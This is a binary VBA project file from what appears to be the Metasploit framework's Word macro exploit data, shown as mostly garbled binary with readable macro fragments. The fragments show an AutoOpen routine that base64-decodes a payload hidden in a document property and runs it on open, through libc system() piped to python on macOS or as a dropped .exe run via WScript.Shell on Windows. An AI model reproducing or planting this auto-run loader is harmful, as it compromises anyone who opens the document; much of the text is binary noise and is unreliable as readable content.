Files
metasploit-gs/data/exploits/office_word_macro/vbaProject.bin
T

45 lines
16 KiB
Plaintext
Raw Normal View History

ĐĎࡱá>ţ˙ ţ˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙ý˙˙˙ţ˙˙˙
ţ˙˙˙ţ˙˙˙ţ˙˙˙ţ˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙R˙˙˙˙˙˙˙˙ę™Ý‹wŐŇVBA˙˙˙˙˙˙˙˙…ŠÝ‹wŐŇŹÝ‹wŐŇdir˙˙˙˙˙˙˙˙˙˙˙˙ŢNewMacros˙˙˙˙ď
ţ˙˙˙
ţ˙˙˙ !"#ţ˙˙˙%ţ˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙Ú˛€ HČ '„Pr@oject(T@=
+l _' řZ J<
 MSForms3ď*\H{0D452EE1-E08F-1 01A-8-02608C4D0BB4}#2.0#0#Macintosh HD:Applications:Microsoft Office 2011: :Visual Basi@c for .framewor@k:Vers&14:Resour,ce -\ E ObŠ Type Library#G/;z1Ń|G{0- ˇ
0}#0|#€Ł
ˇ0Ú Ľ€ŁED77FFAB-F47F-834E21-1F©2B915B9ŁUs@=:wc0hen:Ä)‰V SŔupportGXEUPreferen‡ÁH ]Dx.exdŕD€/€á.E
Źŕ….`ŚMH ´ŔAšNA@al€@9qŔ*\Dm:`ďZC$Ă:
»@#±B$H{2DF8D04C-5BFA±B-BDE5@uAA00´44Ŕ2<±Čši@Ą™D\14ˇ.0…«W„wŔ,@$€âŮšuThisDocumentGŕThisDocumenPtîQ` 1B„•°"(şa""b ŕNew@>Ŕ{G ÁwMjaŔr€s@Ę2Ô/÷/˛ď!9€ # ô˘ŘŢ˙˙˙˙©ýŹŮšşa˙˙Ł˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙x˙˙ME˙˙˙˙˙˙˙˙˙˙ß˙˙ ˙˙ôčŘ´˙˙˙˙ď_ńŮš˛ď˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙x˙˙ME˙˙˙˙˙˙˙˙˙˙ß˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙(<˙˙<˙˙< ˙˙<˙˙˙˙˙˙¨˙˙˙˙˙˙˙˙˙˙0˙˙˙˙˙˙˙˙˙˙˙˙˙˙% ˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙0A`„"˙˙˙˙˙˙˙˙˙˙˙˙˙˙ 2đ˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙Đ˙˙˙˙˙˙˙˙ I4˙˙˙˙˙˙˙˙ ˙˙˙˙˙˙€ 0P˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙0˙˙˙˙˙˙˙˙I4˙˙˙˙˙˙˙˙ ˙˙˙˙˙˙€leSyst .˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙ ˙˙˙˙˙˙4Ś6IH˙˙˙˙˙˙˙˙ ˙˙˙˙˙˙„ > @”J˙˙˙˙˙˙˙˙L˙˙ @„L˙˙˙˙˙˙˙˙ ˙˙@„N˙˙˙˙˙˙˙˙ ˙˙@„P˙˙˙˙˙˙˙˙ ˙˙@„\˙˙˙˙˙˙˙˙ ˙˙@„^˙˙˙˙˙˙˙˙ ˙˙@„`˙˙˙˙˙˙˙˙ ˙˙@„b˙˙˙˙˙˙˙˙ ˙˙@„d˙˙˙˙˙˙˙˙ ˙˙@„f˙˙˙˙˙˙˙˙ ˙˙˙˙˙˙X8˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙P˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙ßţĘ[^˙˙˙˙"`hp˙˙˙˙x ¨ ŔŔ Đ ŘŔ č đŔ   ˙˙˙˙" (0*8h&¨Ŕ
Đ$ŕ˙˙˙˙" *H˙˙˙˙˙˙˙˙4P:HČB >(Lh¸˙˙˙˙Đč˙˙˙˙
(4@x˙˙˙˙˙˙˙˙& ČĐ˙˙˙˙Ř˙˙˙˙đ˙˙˙˙ 08@`hBxŔČ˙˙˙˙Đč˙˙˙˙đ˙˙˙˙"˙˙˙˙z(˙˙˙˙¨Ŕ˙˙˙˙ČĐ˙˙˙˙˙˙˙˙ŕăYPublic Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long8É]ňx˙ $ţ &!( $!Commentsś $!*¬8$ú'" "$.',ý ů ,A@0ýú ,A@2ýüřy˙˙đk˙˙č˙Çŕo˙˙ŘÉČíScripting.FileSystemObject$8.6¬ 6%<': :\ 6%@ .exe '>í > 6%B.¤ 4 ¤B@† ¤B@B >
WScript.Shell$8B@Dřo˙˙đđecho " 4 " | python &A@Fo˙˙°ŕ. Decodes a base-64 encoded string (BSTR type).ŕ3 1999 - 2004 Antonin Foller, http://www.motobit.comŕA 1.01 - solves problem with Access And 'Compare Database' (InStr)Pŕrfc1521ŕ81999 Antonin Foller, Motobit Software, http://Motobit.cz]@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ň°]ňČňŕňř H T$R'H H V$R'H,5 H $R'H H'L-598,5 L¬
¬ś,5b1,5¬ Base64Decode¶Bad Base64 string. XB@Z5c,6z˙˙€k˙˙x˙ Pţ¬ L¬,6]ňň(ň@ňXňpň,7¬'\¬'d˙ ^ţ¬¬,7a7-7 H P ^ ¬$ú'`c3,7 `=ś,7 \¬ '\,7¬'bd˙˙Ŕ¬ J ` h¬ 'b43,8k˙˙ b¬ś,8¬ Base64Decode¶Bad character In Base64 string. XB@Z,894-8z˙˙8k˙˙0¬@ d b 'dc0,8˙Ç d$j'dˇ7¬ d 0$\ d'd¦$&H d¬¬$úXD$l&H d¬¬$úXD$l &H d¬¬$úXD$l 'f( N f \$Ü'N˙Ç8 N'.i˙˙(˙˙˙˙ ˙˙˙˙˙˙˙˙x˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙ôµAttribute VB_Name = "NewMacros"
Public Declare PtrSafe Function system Lib "libc.dy " (ByVal command As "SĐng)Long
Sub AutoOpen()
On Error Re„suNextDim foun€d_valueO
F2Each prop In AťveDocEnt.Buil(tInP%er0ties=<If.C\ent€s" Then‰C= Mid(:.wue, 56eorigZ€«Base64aĄode(" #E€ľŹ;&ExecÖ€wOSX (.aŚ Else
Y WŔindowslIf
Exit ű@tCusG)„(c€<)xS@et fsoŔICreateObject("Scripting.F°ileS›Ă"Ctmp_fold erŔ@.GetSpecialFi(2
n¸Č +Ŕ "\" +ÁATemp()ŔŔ".exe"=c(T§$(ÁCf.WriŔÓÁČ<f.Clo„d 7WC7.Shell€").Run ČTUŔ~HD ("echo """ 2&ŔÝde€| Đpyth€ę&ŔK
'Áô@es a bS-64 enÁá4d strŕ-`xSTR type).ŕ1999 - 2004 A@ntonin@Bller, http://www.motobit.#@.01€solvesAlblŔ…with`tces˘s@ d 'Ŕmpá‹Dataˇ' (€InStr)
&ŤçŞgŁ‹!64Ŕ /'rfc1521-6'˘ÍMc Spoftwŕ
.cz`Const ă
>"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567°89+/Hd€Length, sOut, gr€oupBegi!Ś   Replace(É, vbŕCrLf, =a_âgATab? “)ů@ŕ' @*ˇ`hMod Ŕ4 <> 0§ŕş.Raise 1Ç ‰9
Bad.Oţ.Łn㎄ÍáW@“ @ŕ‘(( 1 To čStep 4‰  á/numáKBytes, CPharC@ĘtáWtČhis, !ˇ, nGˇ3, pď@5bé 
3˘Ŕ^0GŃH ˇ ˙â áAÇK;çA€Ź¨đ, 1)@-Ą`ś"=,ÔŚĘ- Ac/Áăá00 ďjcuđ8(`S3Ń %Binaryýô;) >%¤ÓD ®-€Yu·!2ż!"±!ňcŔac Á}cTJ˙„"aÍ"2sj#
ýŔN*µR6‡ŇaHex(Ăń. ć Űc3(6đá1„ńŔ 0")pXó"B!%PChr(Cá(đ("&Ha[ , 2))Qh_2Ž 4 , 3ďőßBI b& Leftţ(Q
`0X3ˇň SÓŚ„
1[
ThisDocument˙˙˙˙˙˙˙˙ 1_VBA_PROJECT˙˙˙˙˙˙˙˙˙˙˙˙0PROJECT˙˙˙˙PROJECTwm˙˙˙˙˙˙˙˙˙˙˙˙$G˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙(S"˙˙˙˙S˙˙˙˙S"˙˙˙˙<˙˙˙˙˙˙(1Normal.ThisDocument˙˙˙˙8€ţ˙˙˙˙˙˙˙(˙˙˙˙˙˙˙˙˙˙Ap%˙˙˙˙H˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙ßţĘ˙˙˙˙˙˙˙˙x˙˙˙˙˙˙˙˙x˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙°Attribute VB_Name = "ThisDocument"
Bas1Normal.¨Global¦SpacjFalse žCreatablPredeclaIdšTru @ExposeTemplateDeriv#Customiz„A0ID="{BB64F33D-3617-FA44-AFC9-63F65314A8A3}"
Document=ThisDocument/&H00000000
Module=NewMacros
Name="Project"
HelpContextID="0"
CMG="2A28C63EF442F442F442F442"
DPB="5456B868C893C993C993"
Ěam˙  'Ş*\H{000204EF-0000-0000-C000-000000000046}#6.0#9#Macintosh HD:Applications:Microsoft Office 2011:Office:Visual Basic for Applications.framework:Versions:14:Resources:VBA Object Library#Visual Basic For ApplicationsZ*\H{00020905-0000-0000-C000-000000000046}#e.0#0#Macintosh HD:Applications:Microsoft Office 2011:Office:Type Libraries:Word 14 Type Library#Microsoft Word 14.0 Object LibraryŢ*\H{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#Macintosh HD:Applications:Microsoft Office 2011:Office:Visual Basic for Applications.framework:Versions:14:Resources:Microsoft Forms 2.0 Object Type Library#Microsoft Forms 2.0 Object Libraryx*\H{ED77FFAB-F47F-834E-8321-1F1012B915B9}#2.0#0#Macintosh HD:Users:wchen:Library:Application Support:Microsoft:Office:Preferences:Office 2011:MSForms.exd#Microsoft Forms 2.0 Object Libraryá.E
Źŕ….`ŚM ´r*\DMacintosh HD:Applications:Microsoft Office 2011:Normalr*\DMacintosh HD:Applications:Microsoft Office 2011:NormalďZb*\H{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.0#0#Macintosh HD:Applications:Microsoft Office 2011:Office:Type Libraries:Office 14 Type Library#Microsoft Office 14.0 Object Library